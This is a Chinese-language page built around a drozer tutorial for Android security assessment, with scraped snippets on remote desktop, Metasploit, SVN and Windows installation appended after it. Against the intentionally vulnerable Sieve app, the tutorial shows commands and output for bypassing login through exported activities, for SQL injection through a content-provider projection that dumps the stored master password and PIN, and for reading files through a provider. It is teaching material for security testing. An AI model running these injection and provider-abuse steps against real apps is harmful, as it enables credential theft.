精华内容
下载资源
问答
  • drozer官网地址:... 一、安装 1.1 环境要求 (1)jdk1.6+ (2)python2.7 (3)android sdk 确保配置了adb、java环境变量 ...1.2 Window10安装drozer 2、 下载drozer https://labs.mwrinfosecuri...

    drozer官网地址:https://labs.mwrinfosecurity.com/tools/drozer/

    官网教程

    一、安装

    1.1 环境要求

    (1)jdk1.6+
    (2)python2.7
    (3)android sdk
    确保配置了adb、java环境变量

    1.2 Window10安装drozer

    2、 下载drozer
    https://labs.mwrinfosecurity.com/tools/drozer/ (下载drozer (RPM))
    解压得到以下目录
    这里写图片描述
    进入E:\drozer-2.4.4-1\usr\bin启动 drozer.bat
    这里写图片描述
    3、手机/模拟器上安装agent.apk
    将agent.apk下载后,手机通过cmd安装,如下:

    adb install 安装路径/agent.apk

    4、手机端/模拟器安装sieve.apk
    将sieve.apk下载后,手机通过cmd安装,如下:

    adb install 安装路径/sieve.apk

    sieve.apk为官网给的测试apk,上面自带各种漏洞,后面的案例以sieve.apk为例演示

    二、开始drozer之旅

    2.1 启动session

    现在我们已经配好了PC端的drozer环境,以及在手机上安装了drozer agent。但是我们需要将这两者之间联系起来建立通信,我们可以使用嵌入在drozer agen中的服务器来完成此操作。首先,我们需要设置一个合适的端口,以便我们的PC可以连接到由模拟器内部的代理,或手机上的代理。默认情况下,drozer使用端口31415:

    现在,启动drozer agent,点击【 Embedded Server】,点击【Enable】启动服务器。能看到服务器启动的通知。
    这里写图片描述

    这里写图片描述

    在终端(cmd)中输入:

    adb forward tcp:31415 tcp:31415

    这里写图片描述

    然后,在PC上,使用drozer控制台进行连接:

    $ drozer console connect

    因为我们是Windows10版本,需要通过以下方式进行连接:

    1、进入drozer安装目录
    2、运行drozer.bat console connect

    这里写图片描述

    为什么我们要先进入drozer目录,因为如果我们直接运行“安装目录/drozer.bat console connect”,极有可能会出现“unknown module: ‘app.package.list’”,为了避免麻烦,我们直接进入drozer安装目录

    2.2 使用drozer进行安全评估

    2.2.1 配置sieze

    1、前面我们在手机端安装了Sieve.apk,为了我们后面的安全案例讲解,我们需要先配置Sieve。
    (1)安装好后,打开sieve,第一次进入需要输入16位的密码和确认密码,提交后需要创建4位数的PIN(我的密码为1234567890123456,PIN为1234)
    (2)输入PIN后进入“Your Passwords”页面,添加某些应用的密码
    然后进入了下面页面:
    这里写图片描述

    一定要记住开始设置的16位密码和PIN,这个是不可改的

    (3)在sieve中添加“Your Passwords”,可添加多个,后面测试跳过登录直接进入这个页面有用
    这里写图片描述

    2.2.2 基本命令的使用

    1、检索包的包名:run app.package.list -f (安装后的app名称)

    dz>  run app.package.list -f sieve
    com.mwr.example.sieve (Sieve)

    2、查看包的详细信息:app.package.info
    包含的内容有:版本号,数据存放在手机上的路径,安装时关于应用程序允许的权限的详细信息。

    dz> run app.package.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      Application Label: Sieve
      Process Name: com.mwr.example.sieve
      Version: 1.0
      Data Directory: /data/user/0/com.mwr.example.sieve
      APK Path: /data/app/com.mwr.example.sieve-SUwLMRYMpLSx46cH5qdr1A==/base.apk
      UID: 10223
      GID: [3003]
      Shared Libraries: null
      Shared User ID: null
      Uses Permissions:
      - android.permission.READ_EXTERNAL_STORAGE
      - android.permission.WRITE_EXTERNAL_STORAGE
      - android.permission.INTERNET
      Defines Permissions:
      - com.mwr.example.sieve.READ_KEYS
      - com.mwr.example.sieve.WRITE_KEYS

    3、识别攻击面
    在此,我们将只考虑通过Android的内置机制的进程间通信(IPC)暴露漏洞。这些漏洞通常导致敏感数据泄漏到安装在同一设备上的其他应用程序。

    我们可以通过drozer报告sieze的攻击面:

    dz> run app.package.attacksurface com.mwr.example.sieve
    Attack Surface:
      3 activities exported
      0 broadcast receivers exported
      2 content providers exported
      2 services exported
        is debuggable

    上面结果说明我们有很多潜在的问题,这个app上的 ‘exports’ 有的几个让其他应用程序可以访问的activities(应用程序使用的屏幕)、内容提供者(数据库对象)、服务(后台工作者)。同时有一点,该服务是可调试的,这意味着我们可以使用ADB逐步通过代码将调试器附加到进程。

    4、启用页面的activity:Launching Activities
    通过 app.activity.info 我们可以知道哪些activity是可以导出的

    dz>  run app.activity.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      com.mwr.example.sieve.FileSelectActivity
        Permission: null
      com.mwr.example.sieve.MainLoginActivity
        Permission: null
      com.mwr.example.sieve.PWList
        Permission: null

    只有启动页是我们希望有的activity,其余两个都不希望有,因为这些activity是可以导出的,而不需要任何许可(如登录时输入密码),我们可以通过drozer启动它,如下:

    dz>  run app.activity.start --component  com.mwr.example.sieve com.mwr.example.sieve.PWList

    这里写图片描述

    当调用 app.activity.start可以构建更复杂的用途,与所有的drozer模块一样,你可以请求更多的使用信息:

    dz> help app.activity.start
    usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY [CATEGORY ...]]
                  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
                  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
                  [--mimetype MIMETYPE]
    Starts an Activity using the formulated intent.
    Examples:
    Start the Browser with an explicit intent:
    
        dz> run app.activity.start
                    --component com.android.browser
                                com.android.browser.BrowserActivity
                    --flags ACTIVITY_NEW_TASK
    If no flags are specified, drozer will add the ACTIVITY_NEW_TASK flag. To launch an activity with no flags:
        dz> run app.activity.start
                    --component com.android.browser
                                com.android.browser.BrowserActivity
                    --flags 0x0
    Starting the Browser with an implicit intent:
    
        dz> run app.activity.start
                    --action android.intent.action.VIEW
                    --data-uri http://www.google.com
                    --flags ACTIVITY_NEW_TASK
    
    For more information on how to formulate an Intent, type 'help intents'.
    Last Modified: 2012-11-06
    Credit: MWR InfoSecurity (@mwrlabs)
    License: BSD (3 clause)
    optional arguments:
      -h, --help
      --action ACTION       specify the action to include in the Intent
      --category CATEGORY [CATEGORY ...]
                            specify the category to include in the Intent
      --component PACKAGE COMPONENT
                            specify the component name to include in the Intent
      --data-uri DATA_URI   specify a Uri to attach as data in the Intent
      --extra TYPE KEY VALUE
                            add an field to the Intent's extras bundle
      --flags FLAGS [FLAGS ...]
                            specify one-or-more flags to include in the Intent
      --mimetype MIMETYPE   specify the MIME type to send in the Intent

    5、从内容提供者读取
    接下来,我们可以收集有关应用程序可导出的内容提供者的更多信息。

    dz>  run app.provider.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      Authority: com.mwr.example.sieve.DBContentProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.DBContentProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False
        Path Permissions:
          Path: /Keys
            Type: PATTERN_LITERAL
            Read Permission: com.mwr.example.sieve.READ_KEYS
            Write Permission: com.mwr.example.sieve.WRITE_KEYS
      Authority: com.mwr.example.sieve.FileBackupProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.FileBackupProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False

    这儿显示了前面攻击的两个可导出的内容提供者
    (1)Database-backed Content Providers (数据泄露)
    drozer提供了一个扫描模块,它汇集了各种猜测路径,并列出了一个可访问的列表,可扫描出哪些

    dz>  run scanner.provider.finduris -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
    Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
    Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys
    
    Accessible content URIs:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/

    (2)现在我们可以使用其他的drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据:
    查询数据库中的信息:

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
         _id  1
     service  test
    username  test
    password  vu3sfOq5TXnQd1tHYSJMwj7TahthJhA= (Base64-encoded)
       email  12346@qq.com

    6、Database-backed Content Providers (sql注入)
    android平台促进使用SQLite数据库来存储用户数据。由于这些数据库使用SQL,对于SQL注入来说,它们很容易受到攻击,。通过操作传递到的投影和选择字段来测试SQL注入是很简单的。

    dz>  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
    unrecognized token: "' FROM Passwords" (Sqlite code 1): , while compiling: SELECT ' FROM Passwords, (OS error - 11:Try again)

    Android返回一个非常冗长的错误消息,显示它试图执行的整个查询。我们可以充分利用这个漏洞来列出数据库中的所有表:

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    | type  | name             | tbl_name         | rootpage | sql                                                                                              |
    | table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)                                                      |
    | table | Passwords        | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
    | table | Key              | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )                                           |
    
    dz>

    或查询其他受保护的表

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/  --projection "* FROM Key;--"
    | Password         | pin  |
    | 1234567890123456 | 1234 |

    7、File System-backed Content Providers
    内容提供者可以提供对底层文件系统的访问。这允许应用程序共享文件,其中Android沙箱会阻止它。
    因为我们可以合理地假设FileBackupProvider 提供是一个文件系统支持的内容提供者,并且PATH组件表示要打开的文件的位置,所以我们可以很容易地猜出内容URI。
    使用drozer模块读取文件:

    dz>  run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    127.0.0.1       localhost
    ::1             ip6-localhost

    读取/etc/hosts文件并不是一个大问题(无论如何它都是可读的),但是在第前面发现了应用程序的数据目录的路径,我们可以去获取更敏感的信息:

    dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
    /data/com.mwr.example.sieve/databases/database.db /home/user/database.db 

    这个案例我未执行通过,提示“run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data”,如果有哪位同行执行通过了,希望能告诉我

    8、检查Content Provider的脆弱性
    我们已经看到,内容提供者对SQL注入和目录遍历都是脆弱的。drozeroffers 模块自动测试这些漏洞的简单情况:

    dz>  run scanner.provider.injection -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Not Vulnerable:
      content://com.mwr.example.sieve.DBContentProvider/Keys
      content://com.mwr.example.sieve.DBContentProvider/
      content://com.mwr.example.sieve.FileBackupProvider/
      content://com.mwr.example.sieve.DBContentProvider
      content://com.mwr.example.sieve.FileBackupProvider
    
    Injection in Projection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    
    Injection in Selection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/

    9、服务交互
    到目前为止,我们几乎破坏了筛子。我们已经提取了用户的主密码,以及一些与他们的服务密码相关的密码文本。这很好,但是我们可以通过它导出的服务完全妥协。

    drozer基本命令

    1、获取App Package信息

    drozer每个模块的作用:
    这里写图片描述
    1、获取App包信息的模块是app.package.* :

    dz> cd app
    dz#app> cd package
    dz#app.package> ls
    app.package.attacksurface  Get attack surface of package                                                                
    app.package.backup         Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)                   
    app.package.debuggable     Find debuggable packages                                                                     
    app.package.info           Get information about installed packages                                                     
    app.package.launchintent   Get launch intent of package                                                                 
    app.package.list           List Packages                                                                                
    app.package.manifest       Get AndroidManifest.xml of package                                                           
    app.package.native         Find Native libraries embedded in the application.                                           
    app.package.shareduid      Look for packages with shared UIDs                                                           
    
    dz#app.package>

    2、获取手机上安装的所有app:run app.package.list
    3、检查是否存在遍历文件的漏洞:run scanner.provider.traversal -a com.mwr.example.sieve
    4、和Services交互,获取是exported状态的services的命令:run app.service.info -a com.mwr.example.sieve
    5、关于Services的模块:

    dz> cd app
    dz#app> cd service
    dz#app.service> ls
    app.service.info   Get information about exported services                                                              
    app.service.send   Send a Message to a service, and display the reply                                                   
    app.service.start  Start Service                                                                                        
    app.service.stop   Stop Service                                                                                         
    
    dz#app.service>

    如像某个服务发送信息:

    dz#> run app.service.send com.mwr.example.sieve  com.mwr.example.sieve.CryptoService --msg  1 5 3
    Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
      what: 111111
      arg1: 0
      arg2: 0
      Empty

    返回的结果为:

    dz#> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --vertical
         _id  1
     service  test
    username  test
    password  vu3sfOq5TXnQd1tHYSJMwj7TahthJhA= (Base64-encoded)
       email  12346@qq.com

    6、

    展开全文
  • Windows10远程桌面连接使用教程

    千次阅读 2019-09-01 17:02:13
    使用场景 远程桌面连接运用场景十分广泛,不仅可以在上班时控制家庭电脑增加办事效率,也可以借助被连接机器强大的硬件环境实现大规模数据量的神经网络训练,也避免了系统和软件的重复安装带来的繁琐。 实现步骤 1. ...

    使用场景

    远程桌面连接运用场景十分广泛,不仅可以在上班时控制家庭电脑增加办事效率,也可以借助被连接机器强大的硬件环境实现大规模数据量的神经网络训练,也避免了系统和软件的重复安装带来的繁琐。

    实现步骤

    1. 被连接的计算机设置IP地址

    【win+r】在运行输入【cmd】命令通过【ipconfig/all】查看IP基本信息,最后填写在IPv4中。
    图片来源:http://www.zhuangjiba.com/soft/3636.html
    图片来源:http://www.zhuangjiba.com/soft/3636.html
    图片来源:http://www.zhuangjiba.com/soft/3636.html

    2. 被连接的计算机开启远程桌面连接设置

    右键点击【我的电脑】进入【属性】点击左过菜单栏中的【远程设置】;把远程桌面选项设置成【允许运行任意版本远程桌面的计算机连接】。
    图片来源:http://www.zhuangjiba.com/soft/3636.html
    远程桌面连接必须设置密码后才可以进行,使用cmd快速修改密码方法。进行cmd后输入【net user administrator hqifeng】(administrator是用户名,hqifeng是密码)命令成功完成即成功设置。
    图片来源:http://www.zhuangjiba.com/soft/3636.html

    3. 主动连接的计算机进行远程桌面连接

    【win+r】运行输入【mstsc】,在远程桌面连接下点击选项。输入框中输入需要被远程电脑的IP地址,然后输入帐户和密码进行远程,最后远局域网远桌面连接成功。
    在这里插入图片描述
    在这里插入图片描述

    参考

    【1】小白教你win7远程桌面连接使用教程
    【2】Microsoft使用“远程桌面连接”连接到另一台计算机

    展开全文
  • 今天给大家带来的是关于Metasploit的基本使用教程,使用到的工具是kali linux(命令行模式) 关于Metasploit的发展进程大家自行百度我就不一一赘述了 首先先打开 msfconsole 从图中我们可以看到Metasploit中...

    今天给大家带来的是关于Metasploit的基本使用教程,使用到的工具是kali linux(命令行模式)

    关于Metasploit的发展进程大家自行百度我就不一一赘述了

    首先先打开 msfconsole

    从图中我们可以看到Metasploit中集成的很多的攻击模块

    通过show命令我们可以查看这些模块

    下面我们使用Windows的著名漏洞ms10-018(浏览器提权漏洞,适用于explorer6、7)进行一次内网渗透

    如果不是很清楚具体模块的路径可以使用search命令

     

    使用use命令来使用ms10-018模块

     

    对于具体的参数设置可以使用options命令来查看

     我们可以使用常用的paylaoad来实现监听工作,如果不知道使用什么payload可以参照show命令和options命令进行选择,这儿就不进行演示了

     使用options命令发现需要我们设置一些参数,这时就需要用到set命令

    使用set命令根据Description的注释设置好相应参数,

    现在我们就可以开始渗透了,使用run命令

    生成了一个  URL,复制并在靶机中explorer浏览器打开,打开时会出现错误报告或者闪退同时kali linux中会出现下图的回显

    渗透成功,我们可以通过查看任务,即sessions命令来开始操纵靶机

    通过help命令获取帮助

    (图片下面还有因为截图原因未显示出来)通过右边的注释可以进行一系列的操作,例如:

    查看靶机的ip地址

    也可以通过shell命令进入靶机的命令行模式实现其他操作

    命令行模式下的各种操作这儿就不一一演示了,本次渗透成功,教程暂时就到这儿就结束了,有兴趣的可以去看看其他攻击模块的使用方法,进行渗透测试。

     

    转载于:https://www.cnblogs.com/Acewipe/p/7672446.html

    展开全文
  • 三、SVN 服务器端基本使用 一、SVN 下载和安装 点击查看我的另一博文:【SVN】Windows 10:SVN 下载、安装和汉化 二、SVN 服务器端介绍 (1)SVN 服务器端介绍 SVN 是 Subversion 的简称,是一个开放源代码的...

    目录

    一、SVN 下载和安装

    二、SVN 服务器端介绍

    三、SVN 服务器端基本使用



    一、SVN 下载和安装

    点击查看我的另一博文:【SVN】Windows 10:SVN 下载、安装和汉化



    二、SVN 服务器端介绍

    (1)SVN 服务器端介绍

            SVN 是 Subversion 的简称,是一个开放源代码的版本控制系统,相较于 RCS、CVS,它采用了分支管理系统,它的设计目标就是取代 CVS。

           分支管理:每个开发都可对 SVN 上同个文件进行修改,而且会记录修改人和修改内容,达到版本跟踪迭代。

    几个可在终端命令窗口发布的命令:
    svn checkout :获取svn代码
    svn Check In :提交代码到svn服务器
    svn add file|dir :添加文件或整个目录,往版本库中添加新的文件 
    svn commit  :提交本地修改代码,将改动的文件提交到版本库 
    svn delete :删除文件
    SVN update :更新文件,将本地目录下的所有文件都更新到最新版本(从服务器上)

    (2)启动 VisualSVN Server.msc 后,VisualSVN 界面介绍:

    Status                                                            状态
    
    HTTP service is running                                           HTTP 服务正在运行
    VDFS service is running                                           VDFS 服务正在运行
    VDFS service is disabled. Enable...                               已禁用 VDFS 服务。启用……
    Background Job service is running                                 后台作业服务正在运行
    Update to the VisualSVN Server 3.9.5 is available. Details...     提供对 VisualVN Server 3.9.5 的更新。细节……
    Logging                               登录中
    
    Error logging is enabled              启用了错误日志记录
    Access logging is disabled            已禁用访问日志记录
    Access logging is enabled             已启用访问日志记录
    Operational logging is disabled       已禁用操作日志记录
    Operational logging is enabled        已启用操作日志记录
    Open Event Viewer...                  打开事件查看器……
    Configure logging...                  配置日志记录……
    Subversion Authentication              SVN 用户认证
    
    There are 0 users and 0 groups.        有 0 个用户和 0 个用户组。
    Create new user...                     创建新用户……
    Create new group...                    创建新用户组……
    Configure authentication options...    配置身份验证选项……
    Repositories                    存储库
    
    Total 0 repositories.           总共 0 个存储库。
    Create new repository...        新建存储库……
    Import existing repository...   导入现有存储库……


    三、SVN 服务器端基本使用

    (1)开始新建SVN 资源库

    ①新增资源库【Repository】:


    ②选择资源库类型:

    选择资源库类型:
    (1)默认选择常规的 FSFS 类型即可(一种不需要数据库的存储系统)
    (2)VDFS 是基于 FSFS 的一种分布式的存储类型


    ③资源库命名(英文):


    ④创建空的资源库:


    ⑤默认给所有的用户分配权限:


    ⑥复制弹出来窗口中的资源库路径,用于回头在客户端上的连接,点击 finish,完成创建:


    (2)开始安全性设置

    ①在左侧的 Users 上点击右键,新增用户:


    ②输入用户名和密码(英文字母、数字:注意区分大小写)


    ③按照上面的过程,分别添加用户 Developer1、Tester1、Manager1等:


    ④创建管理员组 Managers,这一组拥有最高权限(项目管理员 Manager1、研发主管 Developer1、测试主管 Tester1):


    ⑤开始添加用户或用户组到刚才创建的资源库里:


    ⑥分别对用户或用户组进行授权:

     

    展开全文
  • windows10安装教程

    2020-01-27 20:46:37
    一、使用压缩软件→右键解压已下载的ISO文件到非系统盘(如下图:D\迅雷下载)外的其他盘符目录下; 二、解压后如下图,双击 [硬盘安装.exe] 三、点击立即安装 四、等待部署完成,点击确定,电脑会自动重启...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 563
精华内容 225
关键字:

windows10基本使用教程